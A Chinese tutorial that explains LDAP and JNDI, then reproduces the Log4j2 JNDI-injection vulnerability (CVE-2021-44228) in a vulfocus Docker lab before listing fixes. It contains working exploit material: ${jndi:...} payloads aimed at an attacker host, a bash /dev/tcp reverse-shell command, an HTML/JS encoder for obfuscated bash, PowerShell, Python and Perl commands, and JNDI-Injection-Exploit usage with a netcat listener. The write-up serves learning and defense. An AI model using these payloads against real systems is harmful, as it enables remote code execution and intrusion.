概念
log4j(log for java),Apache的开源日志记录组件,使用非常广泛
什么是LDAP?
轻型目录访问协议(Lightweight Directory Access Protocol,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
目录结构的优点:
假如有个一个数据库,名叫职业,该数据库有许多表如学生、老师、工程师...,表的字段也有许多,如姓名、性别、年龄...
假如有100条数据,其中包含工程师、学生、老师的信息。
(1)不使用目录结构存储:所有人的职业信息都存在一张表中,顺序杂乱无章,想要查询信息就需要从第一条开始遍历。如果数据在最后一条,需要查询100次。
(2)使用目录结构:那么100条数据就分布在三个表中,只需要查询其中的一个表就可得到结果,查询效率就高了
什么是JNDI?
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
通俗点讲,就是通过名字去寻找对应的资源、位置、服务、对象......当数据源发生变化时,只需要修改数据源就可以了。
下面用例子来解释下它的原理以及优点
例:
- 在数据库的操作中,传统的连接方式肯定是除了提供数据源的信息(如数据库类型、端口、用户名、密码)外,还需要导入对应的包和类名,才能调用相应的数据库驱动进行连接。比如JDBC,如果数据库从mysql变成了mssql是不是就需要对以上信息修改,如果仅仅是改动配置文件的数据库信息还好说,但是,那些进行了数据库操作的java文件,肯定也需要重新导入相应的驱动和类,在大项目中就显得非常的麻烦了。那有没有一种方法,只需要更改配置文件的数据源就可以了呢?
- 所以,JNDI提供这样的服务,在配置数据源时,对数据源进行命名,当需要进行数据库操作时,只需要提供数据源的名称即可。如果数据库的配置发生变化时,开发人员只需要改变数据源你的信息,其他的都交给JNDI去管,我们只要保证数据源的命名不变就可以了。
如果要说JNDI具体的作用是什么,我认为就相当于一个管理部门,而它的职责是对目标资源进行统一调配和管理,当访问者需要调配资源时,只需要提供资源的名字,剩下的都交给JNDI去实现即可。
比如:有这样一个场景,当向银行申请贷款时,银行需要对贷款人的信息进行评估(如贷款人的职业、月收入,信用怎么样,是不是老赖,有没有过借钱不还的案例),从而决定是否同意贷款。如果这些信息都需要银行去收集并验证真实性,就会非常的麻烦,甚至还有可能收集的情况不真实。那么,能不能有这样一个部门,只要银行向该部门提供贷款人的姓名和身份证号就可以得到贷款人的信用结果呢?而这个部门就扮演着JNDI的角色。。。
而秘书,也扮演着JNDI的角色,老板需要什么资料、找哪个员工,只要提供名字就行,剩下的秘书去解决就行了。
JNDI实现原理
JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务...)查找资源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua
}
log4j2漏洞原理
- ${jndi:ldap:192.168.96.1:1099/shell
}
shell
http://192.168.96.1/#
其中wqiyua为恶意脚本
- 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
- 假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/shell
,log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/shell}
- 解析到ldap,就会去192.168.96.1:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
- 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
- 攻击者就可以通过shell实现任意的命令执行,造成严重危害
搭建靶场:
docker pull vulfocus/log4j2-rce-2021-12-09 //拉取靶场镜像
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 //运行靶场镜像
搭建成功!
利用漏洞
已经漏洞存在的情况下,构造攻击payload执行命令反弹shell
bash -i >& /dev/tcp/192.168.96.166/1234 0>&1
由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
使用下面的html脚本生成即可
<!DOCTYPE html>
<html>
<head>
<title>java runtime exec usage...</title>
</head>
<body>
<p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
<script>
var taInput = document.querySelector('textarea#input');
var taOutput = document.querySelector('textarea#output');
function processInput() {
var option = document.querySelector('input[name="option"]:checked').value;
switch (option) {
case 'bash':
taInput.placeholder = 'Type Bash here...'
taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
break;
case 'powershell':
taInput.placeholder = 'Type PowerShell here...'
poshInput = ''
for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
break;
case 'python':
taInput.placeholder = 'Type Python here...'
taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
break;
case 'perl':
taInput.placeholder = 'Type Perl here...'
taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
break;
default:
taOutput.value = ''
}
if (!taInput.value) taOutput.value = '';
}
taInput.addEventListener('input', processInput, false);
</script>
</body>
</html>
这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载地址:直接百度搜,或者去GitHub上面搜索即可
链接:https://pan.baidu.com/s/1Ux6akr2Ynk9pq5uyZC97tg
提取码:0000
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"
通过netcat监听1234端口:
利用漏洞地址去访问本地的JNDI服务
payload=${jndi:rmi://192.168.96.1:1099/wqiyua}
这里需要将payload进行编码
payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.96.1%3A1099%2Fwqiyua%7D
成功反弹!
分析原理:
日志中包含
${}
,lookup就会去解析括号里面的内容,
如:攻击payload : ${jndi:rmi:192.168.96.1:1099/wqiyua
}
当lookup解析到jndi时,就会调用jndi并利用rmi,执行攻击机jndi服务下的class文件并执行,从而造成任意命令执行漏洞
修复与防御
- 禁止用户输入的参数中出现攻击关键字(过滤用户输入)
- 禁止lookup下载远程文件(命名应用)
- 禁止log4j的应用去连接外网
- 禁止log4j使用lookup方法
- 从log4j 的jar包总删除lookup(2.10以下版本)
- 升级到最新版本
- 使用waf
参考资料
log4j2漏洞利用vulfocus-CVE-2021-44228 - 三亿人 - 博客园
通过vulfocus靶场复现log4j2-rce漏洞 - 简书